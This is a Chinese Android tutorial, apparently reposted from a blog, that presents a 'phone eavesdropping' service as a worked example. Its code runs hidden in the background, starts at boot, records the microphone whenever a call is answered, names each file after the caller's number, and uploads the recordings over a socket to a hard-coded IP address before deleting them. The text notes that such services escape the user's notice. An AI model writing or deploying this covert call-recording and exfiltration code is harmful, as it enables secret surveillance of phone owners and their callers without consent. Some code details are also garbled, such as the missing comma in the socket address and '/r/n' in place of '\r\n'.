Android之Service案例-电话窃听

来源:互联网 发布:淘宝联想授权网店查询 编辑:程序博客网 时间:2024/05/14 10:12

【0】Android中的服务和windows中的服务是类似的东西,服务一般没有用户操作界面,它运行于系统中不容易被用户发觉,可以使用它开发如监控之类的程序。Service的建立如下:

第一步:继承Service

publicclass SMSServiceextends Service { }

 

第二步:在AndroidManifest.xml文件中的<application>节点里对服务进行配置:

<serviceandroid:name=".SMSService"/>

 

      服务不能自己运行,需要通过调用Context.startService()Context.bindService()方法启动服务。这两个方法都可以启动Service,但是它们的使用场合有所不同。

      使用startService()方法启用服务,调用者与服务之间没有关连,即使调用者退出了,服务仍然运行。

      使用bindService()方法启用服务,调用者与服务绑定在了一起,调用者一旦退出,服务也就终止,大有“不求同时生,必须同时死”的特点。

 

      采用Context.startService()方法启动服务,在服务未被创建时,系统会先调用服务的onCreate()方法,接着调用onStart()方法。如果调用startService()方法前服务已经被创建,多次调用startService()方法并不会导致多次创建服务但会导致多次调用onStart()方法采用startService()方法启动的服务,只能调用Context.stopService()方法结束服务,服务结束时会调用onDestroy()方法。

 

【1】

要实现电话窃听,需要监听电话的状态,方法如下:

 

 

 

 

 

  1. /* 取得电话服务 */  
  2. TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);  
  3. PhoneStateListener listener = new PhoneStateListener(){   
  4.   @Override  public void onCallStateChanged(int state, String incomingNumber) {  
  5.         switch (state){  
  6.           case TelephonyManager.CALL_STATE_IDLE: /* 无任何状态时 */  
  7.             break;  
  8.           case TelephonyManager.CALL_STATE_OFFHOOK: /* 接起电话时 */  
  9.             break;   
  10.           case TelephonyManager.CALL_STATE_RINGING: /* 电话进来时 */  
  11.             break;  
  12.           default:  
  13.   break;  
  14.         }  
  15.   super.onCallStateChanged(state, incomingNumber);  
  16.   }           
  17. };  
  18. //监听电话的状态  
  19. telManager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);  
 

在清单文件AndroidManifest.xml中添加权限:

<uses-permissionandroid:name="android.permission.READ_PHONE_STATE"/>

 

 

可以使用手机进行现场录音,实现步骤如下:

第一步:在功能清单文件AndroidManifest.xml中添加音频刻录权限:

<uses-permissionandroid:name="android.permission.RECORD_AUDIO"/>

第二步:编写音频刻录代码:

 

  1. MediaRecorder recorder = new MediaRecorder();  
  2.  recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音  
  3.  recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式  
  4.  recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式  
  5.  recorder.setOutputFile("/mnt/sdcard/itcast.amr");  
  6.  recorder.prepare();//预期准备  
  7.  recorder.start();   //开始刻录  
  8.  ...  
  9.  recorder.stop();//停止刻录  
  10.  recorder.reset();   //重设  
  11.  recorder.release(); //刻录完成一定要释放资源  
 

 

【2】电话窃听时使用手机麦克风进行录音,然后把录下的音频文件上传至指定的服务器

        代码示例:这里只显示客户端的代码

  1. public class PhoneListenService extends Service   
  2. {  
  3.     private static final String TAG = "PhoneListenService";  
  4.     @Override  
  5.     public void onCreate()   
  6.     {  
  7.         TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);  
  8.         telManager.listen(new TelListener(), PhoneStateListener.LISTEN_CALL_STATE);  
  9.         Log.i(TAG, "service created");  
  10.         super.onCreate();  
  11.     }  
  12.     private class TelListener extends PhoneStateListener  
  13.     {  
  14.         private MediaRecorder recorder;  
  15.         private String mobile;  
  16.         private File audioFile;  
  17.         private boolean record;  
  18.         @Override  
  19.         public void onCallStateChanged(int state, String incomingNumber)   
  20.         {  
  21.             try   
  22.             {  
  23.                 switch (state)  
  24.                 {  
  25.                     /* 无任何状态时 */  
  26.                     case TelephonyManager.CALL_STATE_IDLE:   
  27.                         if(record)  
  28.                         {  
  29.                             recorder.stop();//停止刻录  
  30.                             recorder.release();  
  31.                             record = false;  
  32.                             new Thread(new UploadTask()).start();  
  33.                             Log.i(TAG, "start upload file");  
  34.                         }  
  35.                         break;  
  36.                     /* 接起电话时 */  
  37.                     case TelephonyManager.CALL_STATE_OFFHOOK:   
  38.                          Log.i(TAG, "OFFHOOK:"+ mobile);  
  39.                          recorder = new MediaRecorder();  
  40.                          recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音  
  41.                          recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式  
  42.                          recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式  
  43.                            
  44.                          audioFile = new File(getCacheDir(), mobile+"_"+ System.currentTimeMillis()+".3gp");  
  45.                          recorder.setOutputFile(audioFile.getAbsolutePath());  
  46.                          recorder.prepare(); //预期准备  
  47.                          recorder.start();   //开始刻录  
  48.                          record = true;  
  49.                          break;   
  50.                     /* 电话进来时 */  
  51.                     case TelephonyManager.CALL_STATE_RINGING:   
  52.                         Log.i(TAG, "incomingNumber:"+ incomingNumber);  
  53.                         mobile = incomingNumber;  
  54.                         break;                        
  55.                     default:  
  56.                         break;  
  57.                 }  
  58.             }   
  59.             catch (Exception e)  
  60.             {  
  61.                 Log.e(TAG, e.toString());  
  62.             }  
  63.             super.onCallStateChanged(state, incomingNumber);  
  64.         }  
  65.           
  66.         private final class UploadTask implements Runnable  
  67.         {  
  68.             @Override  
  69.             public void run()   
  70.             {  
  71.                 try   
  72.                 {  
  73.                     Socket socket = new Socket("220.113.15.71"7878);  
  74.                     OutputStream outStream = socket.getOutputStream();  
  75.                     String head = "Content-Length="+ audioFile.length() + ";filename="+ audioFile.getName() + ";sourceid=/r/n";  
  76.                     outStream.write(head.getBytes());  
  77.                       
  78.                     PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());      
  79.                     String response = StreamTool.readLine(inStream);  
  80.                     String[] items = response.split(";");  
  81.                     String position = items[1].substring(items[1].indexOf("=")+1);  
  82.                       
  83.                     RandomAccessFile fileOutStream = new RandomAccessFile(audioFile, "r");  
  84.                     fileOutStream.seek(Integer.valueOf(position));  
  85.                     byte[] buffer = new byte[1024];  
  86.                     int len = -1;  
  87.                     while( (len = fileOutStream.read(buffer)) != -1)  
  88.                     {  
  89.                         outStream.write(buffer, 0, len);  
  90.                     }  
  91.                     fileOutStream.close();  
  92.                     outStream.close();  
  93.                     inStream.close();  
  94.                     socket.close();  
  95.                     audioFile.delete();  
  96.                 }   
  97.                 catch (Exception e)   
  98.                 {                      
  99.                     Log.e(TAG, e.toString());  
  100.                 }  
  101.             }  
  102.         }  
  103.     }  
  104.       
  105.     //清空缓存目录下的所有文件  
  106.     @Override  
  107.     public void onDestroy()   
  108.     {  
  109.         File[] files = getCacheDir().listFiles();  
  110.         if(files!=null)  
  111.         {  
  112.             for(File f: files)  
  113.             {  
  114.                 f.delete();  
  115.             }  
  116.         }  
  117.         Log.i(TAG, "Service Destroy");  
  118.         super.onDestroy();  
  119.     }  
  120.       
  121.     @Override  
  122.     public IBinder onBind(Intent intent)   
  123.     {  
  124.         // TODO Auto-generated method stub  
  125.         return null;  
  126.     }  
  127. }  
 

  1. public class BootBroadcastReceiver extends BroadcastReceiver   
  2. {  
  3.     @Override  
  4.     public void onReceive(Context context, Intent intent)   
  5.     {  
  6.         Intent service = new Intent(context, PhoneListenService.class);  
  7.         context.startService(service);  
  8.     }  
  9. }  
 


  1. public class StreamTool   
  2. {      
  3.      public static void save(File file, byte[] data) throws Exception  
  4.      {  
  5.          FileOutputStream outStream = new FileOutputStream(file);  
  6.          outStream.write(data);  
  7.          outStream.close();  
  8.      }  
  9.        
  10.      public static String readLine(PushbackInputStream in) throws IOException   
  11.      {  
  12.             char buf[] = new char[128];  
  13.             int room = buf.length;  
  14.             int offset = 0;  
  15.             int c;  
  16. loop:       while (true) {  
  17.                 switch (c = in.read()) {  
  18.                     case -1:  
  19.                     case '/n':  
  20.                         break loop;  
  21.                     case '/r':  
  22.                         int c2 = in.read();  
  23.                         if ((c2 != '/n') && (c2 != -1)) in.unread(c2);  
  24.                         break loop;  
  25.                     default:  
  26.                         if (--room < 0) {  
  27.                             char[] lineBuffer = buf;  
  28.                             buf = new char[offset + 128];  
  29.                             room = buf.length - offset - 1;  
  30.                             System.arraycopy(lineBuffer, 0, buf, 0, offset);  
  31.                              
  32.                         }  
  33.                         buf[offset++] = (char) c;  
  34.                         break;  
  35.                 }  
  36.             }  
  37.             if ((c == -1) && (offset == 0)) return null;  
  38.             return String.copyValueOf(buf, 0, offset);  
  39.     }  
  40.        
  41.     /** 
  42.     * 读取流 
  43.     * @param inStream 
  44.     * @return 字节数组 
  45.     * @throws Exception 
  46.     */  
  47.     public static byte[] readStream(InputStream inStream) throws Exception  
  48.     {  
  49.             ByteArrayOutputStream outSteam = new ByteArrayOutputStream();  
  50.             byte[] buffer = new byte[1024];  
  51.             int len = -1;  
  52.             while( (len=inStream.read(buffer)) != -1)  
  53.             {  
  54.                 outSteam.write(buffer, 0, len);  
  55.             }  
  56.             outSteam.close();  
  57.             inStream.close();  
  58.             return outSteam.toByteArray();  
  59.     }  
  60. }  



原创粉丝点击